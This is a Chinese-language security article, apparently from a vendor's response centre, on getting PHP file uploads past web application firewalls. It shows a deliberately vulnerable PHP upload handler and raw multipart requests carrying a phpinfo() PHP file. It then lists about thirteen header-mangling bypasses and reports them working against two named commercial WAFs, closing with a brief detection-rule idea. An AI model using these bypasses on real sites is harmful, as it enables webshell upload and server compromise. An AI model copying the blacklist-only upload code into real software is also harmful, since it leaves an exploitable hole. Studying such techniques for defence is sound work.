前言
nginx/1.10.3
PHP 5.5.34
文件上传的特征
<?php
if(isset($_POST['submit_x'])){
$upfile = $_FILES['filename']['name'];
$tempfile = $_FILES['filename']['tmp_name'];
$ext = trim(get_extension($upfile));
// 判断文件后缀是否为数组里的值
if(in_array($ext,array('xxx'))){
die('Warning! File type error..');
}
$savefile = 'upload/' . $upfile;
if(move_uploaded_file($tempfile, $savefile)){
die('Upload success! FileName: '.$savefile);
}else{
die('Upload failed..');
}
}
// 获取文件后缀名,并转为小写
function get_extension($file){
return strtolower(substr($file, strrpos($file, '.')+1));
}
?>
<html>
<body>
<form method="post" action="#" enctype="multipart/form-data">
<input type="file" name="file_x" value=""/>
<input type="submit" name="submit_x" value="upload"/>
</form>
</body>
</html>
POST /upload.php HTTP/1.1
Host: localhost
Content-Length: 274
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTx
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2
Connection: close
------WebKitFormBoundaryuKS18BporicXJfTx
Content-Disposition: form-data; name="file_x"; filename="xx.php"
<?php phpinfo(); ?>
------WebKitFormBoundaryuKS18BporicXJfTx
Content-Disposition: form-data; name="submit_x"
upload
------WebKitFormBoundaryuKS18BporicXJfTx--
请求Header中Content-Type存在以下特征:
multipart/form-data
(表示该请求是一个文件上传请求)
存在boundary字符串(作用为分隔符,以区分POST数据)
POST的内容存在以下特征:
Content-Disposition
name
filename
POST中的boundary的值就是Content-Type的值在最前面加了两个--
,除了最后标识结束的boundary
最后标识结束的boundary最后默认会多出两个--
(测试时,最后一行的boundary删掉也能成功上传)
WAF如何拦截
文件名
解析文件名,判断是否在黑名单内。
文件内容
解析文件内容,判断是否为webshell。
文件目录权限
该功能需要主机WAF实现,比如我见过的云锁。
获取Request Header里的Content-Type
值中获取boundary值
根据第一步的boundary值,解析POST数据,获取文件名
判断文件名是否在拦截黑名单内
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="xx.php"
Content-Type: text/javascript
<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="submit_x"
upload
------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
read: ["header",["Content-Disposition","form-data; name=\"file_x\"; filename=\"xx.php\"","Content-Disposition: form-data; name=\"file_x\"; filename=\"xx.php\""]]
read: ["header",["Content-Type","text\/javascript","Content-Type: text\/javascript"]]
read: ["body","<?php phpinfo(); ?>"]
read: ["part_end"]
read: ["header",["Content-Disposition","form-data; name=\"submit_x\"","Content-Disposition: form-data; name=\"submit_x\""]]
read: ["body","upload"]
read: ["part_end"]
read: ["eof"]
read: ["eof"]
绕过
4.1去掉引号
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
4.2 双引号变成单引号
Content-Disposition: form-data; name='file_x'; filename='xx.php'
4.3 大小写
Content-Disposition
name
filename
4.4 空格
4.5 去掉或修改Content-Disposition值
Content-Disposition: name='file_x'; filename='xx.php'
4.6 交换name和filename的顺序
Content-Disposition: form-data; filename="xx.php"; name=file_x
4.7 多个boundary
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt"
Content-Type: text/javascript
<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.php"
Content-Type: text/javascript
<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="submit_x"
upload
------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
4.8 多个filename
Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"
4.9 多个分号
Content-Disposition: form-data; name="file_x";;; filename="test.php"
4.10 multipart/form-DATA
Content-Type: multipart/form-DATA
4.11 Header在boundary前添加任意字符
Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2
4.12 filename换行
Content-Disposition: form-data; name="file_x"; file
name="test.php"
fi
lename
4.13 name和filename添加任意字符串
Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";
4.14 其他
案例测试
5.1 「某盾」
判断POST数据是否存在Content-Disposition:
字符串
判断filename的文件名是否在黑名单内
Content-Disposition: form-data; name="file_x"; file
name="test.php"
5.2 ucloud
Content-Disposition: form-data; name="file_x";filename="xx.php"
Content-Disposition: name="file_x";filename="xx.php"
How to Play
由于是文件上传,所以必须有Content-Type: multipart/form-data,先判断这个是否存在。
POST数据去掉所有换行,匹配是否有Content-Disposition:.*filename\s*=\s*(.*php)
类似的规则。
Reference
WAF攻防研究之四个层次Bypass WAF
【http://weibo.com/ttarticle/p/show?id=2309404007261092631700&infeed=1】
1
END
1
更多技术分享
请关注MLSRC公众号